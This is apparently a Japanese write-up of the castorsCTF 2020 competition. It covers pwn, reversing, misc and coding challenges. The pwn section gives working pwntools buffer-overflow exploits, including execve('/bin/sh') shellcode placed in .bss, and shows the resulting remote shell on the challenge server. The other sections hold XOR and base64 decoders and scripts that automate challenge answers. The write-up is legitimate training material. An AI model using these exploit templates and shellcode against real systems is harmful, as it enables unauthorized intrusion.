castorsCTF 2020【Write up】
pwn
abcbof
$ file abcbof abcbof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c0d370a13d4eef91ea21376096ca113349bda4d6, not stripped
$ checksec.sh --file=./abcbof RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 02./abcbof
$ ./abcbof Hello everyone, say your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA You lose! Segmentation fault (コアダンプ)
$ gdb -q ./abcbof gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0000000000400588 _init 0x00000000004005b0 putchar@plt 0x00000000004005c0 puts@plt 0x00000000004005d0 fclose@plt 0x00000000004005e0 printf@plt 0x00000000004005f0 fgetc@plt 0x0000000000400600 strcmp@plt 0x0000000000400610 gets@plt 0x0000000000400620 fopen@plt 0x0000000000400630 exit@plt 0x0000000000400640 _start 0x0000000000400670 _dl_relocate_static_pie 0x0000000000400680 deregister_tm_clones 0x00000000004006b0 register_tm_clones 0x00000000004006f0 __do_global_dtors_aux 0x0000000000400720 frame_dummy 0x0000000000400727 get_flag 0x000000000040078d main 0x0000000000400800 __libc_csu_init 0x0000000000400870 __libc_csu_fini 0x0000000000400874 _fini gdb-peda$ pdisas get_flag Dump of assembler code for function get_flag: 0x0000000000400727 <+0>: push rbp 0x0000000000400728 <+1>: mov rbp,rsp 0x000000000040072b <+4>: sub rsp,0x10 0x000000000040072f <+8>: lea rsi,[rip+0x152] # 0x400888 0x0000000000400736 <+15>: lea rdi,[rip+0x14d] # 0x40088a 0x000000000040073d <+22>: call 0x400620 <fopen@plt> 0x0000000000400742 <+27>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400746 <+31>: cmp QWORD PTR [rbp-0x8],0x0 0x000000000040074b <+36>: jne 0x400762 <get_flag+59> 0x000000000040074d <+38>: mov edi,0x1 0x0000000000400752 <+43>: call 0x400630 <exit@plt> 0x0000000000400757 <+48>: movsx eax,BYTE PTR [rbp-0x9] 0x000000000040075b <+52>: mov edi,eax 0x000000000040075d <+54>: call 0x4005b0 <putchar@plt> 0x0000000000400762 <+59>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400766 <+63>: mov rdi,rax 0x0000000000400769 <+66>: call 0x4005f0 <fgetc@plt> 0x000000000040076e <+71>: mov BYTE PTR [rbp-0x9],al 0x0000000000400771 <+74>: cmp BYTE PTR [rbp-0x9],0xff 0x0000000000400775 <+78>: jne 0x400757 <get_flag+48> 0x0000000000400777 <+80>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040077b <+84>: mov rdi,rax 0x000000000040077e <+87>: call 0x4005d0 <fclose@plt> 0x0000000000400783 <+92>: mov edi,0x0 0x0000000000400788 <+97>: call 0x400630 <exit@plt> End of assembler dump. gdb-peda$ x/s 0x40088a 0x40088a: "flag.txt"
単純にBOFを利用してget_flag関数に飛ばせばいいことがわかります。
from pwn import * e = ELF('./abcbof') #p = process('./abcbof') p = remote('chals20.cybercastors.com',14424) ret_addr = 0x0040059e flag_addr = e.symbols['get_flag'] payload = 'A'*280 payload += p64(ret_addr) payload += p64(flag_addr) p.sendline(payload) p.interactive()
$ python solve.py [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to chals20.cybercastors.com on port 14424: Done [*] Switching to interactive mode Hello everyone, say your name: You lose! castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}[*] Got EOF while reading in interactive
babybof1
$ file babybof babybof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=53082227c9e25222032055ccb700576121bd384f, not stripped
$ checksec.sh --file=./babybof RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 69 Symbols No 02./babybof
$ ./babybof Welcome to the cybercastors Babybof Say your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
これもまたBOFがあることがわかります。
$ gdb -q ./babybof gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0000000000400550 _init 0x0000000000400580 putchar@plt 0x0000000000400590 puts@plt 0x00000000004005a0 fclose@plt 0x00000000004005b0 printf@plt 0x00000000004005c0 fgetc@plt 0x00000000004005d0 gets@plt 0x00000000004005e0 fopen@plt 0x00000000004005f0 exit@plt 0x0000000000400600 _start 0x0000000000400630 _dl_relocate_static_pie 0x0000000000400640 deregister_tm_clones 0x0000000000400670 register_tm_clones 0x00000000004006b0 __do_global_dtors_aux 0x00000000004006e0 frame_dummy 0x00000000004006e7 get_flag 0x000000000040074d main 0x0000000000400790 __libc_csu_init 0x0000000000400800 __libc_csu_fini 0x0000000000400804 _fini gdb-peda$ pdisas get_flag Dump of assembler code for function get_flag: 0x00000000004006e7 <+0>: push rbp 0x00000000004006e8 <+1>: mov rbp,rsp 0x00000000004006eb <+4>: sub rsp,0x10 0x00000000004006ef <+8>: lea rsi,[rip+0x122] # 0x400818 0x00000000004006f6 <+15>: lea rdi,[rip+0x11d] # 0x40081a 0x00000000004006fd <+22>: call 0x4005e0 <fopen@plt> 0x0000000000400702 <+27>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400706 <+31>: cmp QWORD PTR [rbp-0x8],0x0 0x000000000040070b <+36>: jne 0x400722 <get_flag+59> 0x000000000040070d <+38>: mov edi,0x1 0x0000000000400712 <+43>: call 0x4005f0 <exit@plt> 0x0000000000400717 <+48>: movsx eax,BYTE PTR [rbp-0x9] 0x000000000040071b <+52>: mov edi,eax 0x000000000040071d <+54>: call 0x400580 <putchar@plt> 0x0000000000400722 <+59>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400726 <+63>: mov rdi,rax 0x0000000000400729 <+66>: call 0x4005c0 <fgetc@plt> 0x000000000040072e <+71>: mov BYTE PTR [rbp-0x9],al 0x0000000000400731 <+74>: cmp BYTE PTR [rbp-0x9],0xff 0x0000000000400735 <+78>: jne 0x400717 <get_flag+48> 0x0000000000400737 <+80>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040073b <+84>: mov rdi,rax 0x000000000040073e <+87>: call 0x4005a0 <fclose@plt> 0x0000000000400743 <+92>: mov edi,0x0 0x0000000000400748 <+97>: call 0x4005f0 <exit@plt> End of assembler dump.
$ cat solve.py from pwn import * e = ELF('./babybof') # = process('./babybof') p = remote('chals20.cybercastors.com',14425) ret_addr =0x00400566 flag_addr = e.symbols['get_flag'] payload = 'A'*264 payload += p64(ret_addr) payload += p64(flag_addr) p.sendline(payload) p.interactive()
これもget_flag関数に飛ばすだけでした。
$ python solve.py [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Opening connection to chals20.cybercastors.com on port 14425: Done [*] Switching to interactive mode Welcome to the cybercastors Babybof Say your name: castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?} [*] Got EOF while reading in interactive
babybof2
$ file winners winners: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4cc0975ce93c498da72442b3ada5a3dd0f6a471a, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./winners RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 73 Symbols No 01./winners
$ gdb -q ./winners gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08049000 _init 0x08049040 gets@plt 0x08049050 puts@plt 0x08049060 system@plt 0x08049070 __libc_start_main@plt 0x08049080 _start 0x080490c0 _dl_relocate_static_pie 0x080490d0 __x86.get_pc_thunk.bx 0x080490e0 deregister_tm_clones 0x08049120 register_tm_clones 0x08049160 __do_global_dtors_aux 0x08049190 frame_dummy 0x08049196 winnersLevel 0x08049201 start 0x08049229 main 0x08049290 __x86.get_pc_thunk.ax 0x080492a0 __libc_csu_init 0x08049310 __libc_csu_fini 0x08049315 __x86.get_pc_thunk.bp 0x0804931c _fini gdb-peda$ pdisas winnersLevel Dump of assembler code for function winnersLevel: 0x08049196 <+0>: push ebp 0x08049197 <+1>: mov ebp,esp 0x08049199 <+3>: push ebx 0x0804919a <+4>: sub esp,0x4 0x0804919d <+7>: call 0x80490d0 <__x86.get_pc_thunk.bx> 0x080491a2 <+12>: add ebx,0x2256 0x080491a8 <+18>: cmp DWORD PTR [ebp+0x8],0x182 0x080491af <+25>: je 0x80491ba <winnersLevel+36> 0x080491b1 <+27>: cmp DWORD PTR [ebp+0x8],0x102 0x080491b8 <+34>: jne 0x80491e5 <winnersLevel+79> 0x080491ba <+36>: sub esp,0xc 0x080491bd <+39>: lea eax,[ebx-0x13f0] 0x080491c3 <+45>: push eax 0x080491c4 <+46>: call 0x8049050 <puts@plt> 0x080491c9 <+51>: add esp,0x10 0x080491cc <+54>: sub esp,0xc 0x080491cf <+57>: lea eax,[ebx-0x13b2] 0x080491d5 <+63>: push eax 0x080491d6 <+64>: call 0x8049060 <system@plt> 0x080491db <+69>: add esp,0x10 0x080491de <+72>: mov eax,0x1 0x080491e3 <+77>: jmp 0x80491fc <winnersLevel+102> 0x080491e5 <+79>: sub esp,0xc 0x080491e8 <+82>: lea eax,[ebx-0x13a0] 0x080491ee <+88>: push eax 0x080491ef <+89>: call 0x8049050 <puts@plt> 0x080491f4 <+94>: add esp,0x10 0x080491f7 <+97>: mov eax,0x0 0x080491fc <+102>: mov ebx,DWORD PTR [ebp-0x4] 0x080491ff <+105>: leave 0x08049200 <+106>: ret End of assembler dump.
ふつうに考えれば、BOFもあるのでwinnersLevel関数の通りに書き換えればいいのですがうまくいかなかったので、NX disabledなのでbssセクションを書き換えてshellcodeを実行させました。
from pwn import * e = ELF('./winners') #p = process('./winners') p = remote('chals20.cybercastors.com',14434) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' payload = 'A'*76 payload += p32(e.symbols['gets']) payload += p32(e.bss()+0x100) payload += p32(e.bss()+0x100) p.sendline(payload) p.sendline(shellcode) p.interactive()
$ python solve.py [*] Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Opening connection to chals20.cybercastors.com on port 14434: Done [*] Switching to interactive mode Do you really think you can get to the winners table? I'll give you one shot at it, what floor is the table at: $ cat flag.txt castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}$ $
babybof1 pt2
$ file babybof babybof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=53082227c9e25222032055ccb700576121bd384f, not stripped
$ checksec.sh --file=./babybof RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 69 Symbols No 02./babybof
$ gdb -q ./babybof gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0000000000400550 _init 0x0000000000400580 putchar@plt 0x0000000000400590 puts@plt 0x00000000004005a0 fclose@plt 0x00000000004005b0 printf@plt 0x00000000004005c0 fgetc@plt 0x00000000004005d0 gets@plt 0x00000000004005e0 fopen@plt 0x00000000004005f0 exit@plt 0x0000000000400600 _start 0x0000000000400630 _dl_relocate_static_pie 0x0000000000400640 deregister_tm_clones 0x0000000000400670 register_tm_clones 0x00000000004006b0 __do_global_dtors_aux 0x00000000004006e0 frame_dummy 0x00000000004006e7 get_flag 0x000000000040074d main 0x0000000000400790 __libc_csu_init 0x0000000000400800 __libc_csu_fini 0x0000000000400804 _fini gdb-peda$ pdisas get_flag Dump of assembler code for function get_flag: 0x00000000004006e7 <+0>: push rbp 0x00000000004006e8 <+1>: mov rbp,rsp 0x00000000004006eb <+4>: sub rsp,0x10 0x00000000004006ef <+8>: lea rsi,[rip+0x122] # 0x400818 0x00000000004006f6 <+15>: lea rdi,[rip+0x11d] # 0x40081a 0x00000000004006fd <+22>: call 0x4005e0 <fopen@plt> 0x0000000000400702 <+27>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400706 <+31>: cmp QWORD PTR [rbp-0x8],0x0 0x000000000040070b <+36>: jne 0x400722 <get_flag+59> 0x000000000040070d <+38>: mov edi,0x1 0x0000000000400712 <+43>: call 0x4005f0 <exit@plt> 0x0000000000400717 <+48>: movsx eax,BYTE PTR [rbp-0x9] 0x000000000040071b <+52>: mov edi,eax 0x000000000040071d <+54>: call 0x400580 <putchar@plt> 0x0000000000400722 <+59>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400726 <+63>: mov rdi,rax 0x0000000000400729 <+66>: call 0x4005c0 <fgetc@plt> 0x000000000040072e <+71>: mov BYTE PTR [rbp-0x9],al 0x0000000000400731 <+74>: cmp BYTE PTR [rbp-0x9],0xff 0x0000000000400735 <+78>: jne 0x400717 <get_flag+48> 0x0000000000400737 <+80>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040073b <+84>: mov rdi,rax 0x000000000040073e <+87>: call 0x4005a0 <fclose@plt> 0x0000000000400743 <+92>: mov edi,0x0 0x0000000000400748 <+97>: call 0x4005f0 <exit@plt> End of assembler dump. gdb-peda$
これもget_flag関数をどうにかしようとしたんですがうまくいかなかったので結局bssセクションを書き換えてシェルコードを呼びだしたらできました。
from pwn import * p = remote('chals20.cybercastors.com',14425) e = ELF('./babybof') libc = ELF('./libc6-amd64_2.30-0ubuntu2_i386.so') ret_addr = 0x00400566 pop_rdi_addr = 0x004007f3 flag_addr = e.symbols['get_flag'] shellcode = "\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x31\xf6\x31\xd2\x0f\x05" payload = 'A'*264 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(e.bss()) payload += p64(e.symbols['gets']) payload += p64(e.bss()) p.sendline(payload) p.sendline(shellcode) p.interactive() p.sendline(payload) p.interactive()
$ python solve.py [+] Opening connection to chals20.cybercastors.com on port 14425: Done [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode Welcome to the cybercastors Babybof Say your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf^E@^@^@^@^@^@�^G@^@^@^@^@^@h^P`^@^@^@^@^@�^E@^@^@^@^@^@h^P`^@^@^@^@^@ 1�PH\xbf/bin//shW\xb0;H\x89�1�1�^O^E sh: 0: can't access tty; job control turned off $ $ id id uid=1337(leet) gid=1337(leet) groups=1337(leet) $ $ ls ls babybof flag.txt shell_flag.txt $ $ cat flag.txt cat flag.txt castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}
Misc
password crack1
3c80b091de0981ec64e43262117d618a
という文字列が与えられ、それがmd5なのでそれをdecryptするだけです。
Reversing
Vault0
def checkpass(): _input = input("Enter the password: ").encode() if _input[0:4].hex() == "63617374": if _input[4:9].hex() == "6f72734354": if _input[9:14].hex() == "467b723178": if _input[14:17].hex() == "54795f": if _input[17:20].hex() == "6d316e": if _input[20:27].hex() == "757433735f6774": if _input[27:35].hex() == "5f73317874795f6d": if _input[35:40].hex() == "316e757433": if _input[40:].hex() == "737d": return True def main(): global access access = checkpass() if access: print("Yeah...okay. You got it!") else: print("Lol...try again...") access = False main()
checkpass関数で書かれてる文字の羅列がHexなのでDecodeするだけです。
Vault1
import base64 def xor(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) def checkpass(): _input = input("Enter the password: ") key = "promortyusvatofacidpromortyusvato" encoded = str.encode(xor(key, _input)) result = base64.b64encode(encoded, altchars=None) if result == b'ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS': return True else: return False def main(): global access access = checkpass() if access: print("Yeah...okay. You got it!") else: print("Lol...try again...") access = False main()
というpythonのファイルが渡されます。 ここで行われてる処理を逆から行うだけです。
import base64 def xor(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) s = "ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS" t = bytes.decode(base64.b64decode(s,altchars=None)) key = "promortyusvatofacidpromortyusvato" print(xor(t,key))
Stacking
Stackingというタイトル通り、適当にブレークポイントを設定してStackを見たらFlagが書かれていました。
[------------------------------------stack-------------------------------------] 0000| 0x7fffffffddc0 --> 0x55554040 ('@@UU') 0008| 0x7fffffffddc8 --> 0x1400f0b5ff 0016| 0x7fffffffddd0 ("castorsCTF{w3lc0m3_70_r3v3r53_3n61n33r1n6}UUUU") 0024| 0x7fffffffddd8 ("TF{w3lc0m3_70_r3v3r53_3n61n33r1n6}UUUU") 0032| 0x7fffffffdde0 ("m3_70_r3v3r53_3n61n33r1n6}UUUU") 0040| 0x7fffffffdde8 ("v3r53_3n61n33r1n6}UUUU") 0048| 0x7fffffffddf0 ("61n33r1n6}UUUU") 0056| 0x7fffffffddf8 --> 0x555555557d36 ('6}UUUU')
XoR
$ file xorry xorry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ca9cc6b6ae5085398a92d24089d458d53c2c702, stripped
strippedなのでとりあえずghidraでデコンパイルしました。
ulong main(char *param_1) { int iVar1; size_t sVar2; int local_18; sVar2 = strlen(param_1); local_18 = 0; while (local_18 < (int)sVar2) { param_1[local_18] = param_1[local_18] ^ (char)local_18 + 10U; param_1[local_18] = param_1[local_18] + -2; local_18 = local_18 + 1; } iVar1 = strcmp(param_1,&DAT_00301020); return (ulong)(iVar1 != 0); }
whileの中でループされてる処理を行うだけです。
s = "gh}w_{aPDSmk$ch&r+Ah-&F|\024z\021P\025\020\035R" res = '' for i in range(len(s)): tmp = ord(s[i])+2 tmp = (tmp ^ (i+10)) res += chr(tmp) print res
Coding
Arithmetics
$ nc chals20.cybercastors.com 14429 ------------------Welcome to Beginner Arithmetics!------------------ To get the flag you'll have to solve a series of arithmetic challenges. The problems may be addition, substraction, multiplication or integer division. Numbers can range from 1 to 9. Easy right? You'll have very little time to answer so do your best! Hit <enter> when ready. What is 4 - 5 ?
出題される計算をひたすら解くだけのようです。しかし、25問くらい解いたところで-がminusになったりしたのでそこだけ注意が必要です。
from pwn import * p = remote('chals20.cybercastors.com',14429) print p.recvuntil('ready.') p.sendline('') d = { "one": 1, "two": 2, "three": 3, "four": 4, "five": 5, "six": 6, "seven": 7, "eight": 8, "nine": 9, "minus": '-', "plus": '+', "multiplied-by": '*', "divided-by": '//' } for i in range(100): print i #print p.recvuntil('is ') print p.recvline() ret = p.recvline().split(' ') print ret a = ret[2] cal = ret[3] b = ret[4] if a in d.keys(): a = d[a] else: a = int(a) if b in d.keys(): b = d[b] else: b = int(b) if cal in d.keys(): cal = d[cal] if cal == '+': res = str(a+b) p.sendline(res) if cal == '-': res = str(a-b) p.sendline(res) if cal == '*': res = str(a*b) p.sendline(res) if cal == '//': res = str(a//b) p.sendline(res) p.interactive()
[*] Switching to interactive mode Correct answer! Wow! You're fast! Here's your flag: castorsCTF(n00b_pyth0n_4r17hm3t1c5}
Glitchity Glitch
$ nc chals20.cybercastors.com 14432 Welcome to my store, hope your bartering skill is high enough. Here's the lot of them Your money: 100 Your money: 100 0. Sell Item 1. USB - 5 coins 2. Book - 10 coins 3. Snowglobe - 7 coins 4. Painting - 100 coins 5. Flag - 5000 coins 6. VPN - 20 coins 7. Quit Choice:
所持してるお金で1〜7にあるものを買ってものを売って6000coinsになったらflagを買って出力するプログラムのようですが、ふつうに考えたら1円も増えないのですが、同じものをひたすら売れるバグがあったのでVPNをひたすら売って6000coinsになるまで待ちました。これでいいのかはよくわからないですが。
from pwn import * p = remote('chals20.cybercastors.com',14432) d = [1,2,3,6] for i in range(4): print p.recvuntil('Your money: ') money = int(p.recvline()) print "money: " + str(money) print p.recvuntil('Choice: ') p.sendline(str(d[i])) while True: if money > 6000: p.sendline('5') break else: p.sendline('0') print p.recvuntil('Your money: ') money = int(p.recvline()) print "money: " + str(money) print p.recvuntil('What do you wish to sell?\n') for i in range(4): ret = p.recvline() print ret if 'VPN' in ret: ans = str(i+1) p.sendline(ans) p.interactive()
[*] Switching to interactive mode Choice: Successfully added money to your bag Your money: 6038 0. Sell Item 1. USB - 5 coins 2. Book - 10 coins 3. Snowglobe - 7 coins 4. Painting - 100 coins 5. Flag - 6000 coins 6. VPN - 20 coins 7. Quit Choice: castorsCTF{$imPl3_sTUph_3h?}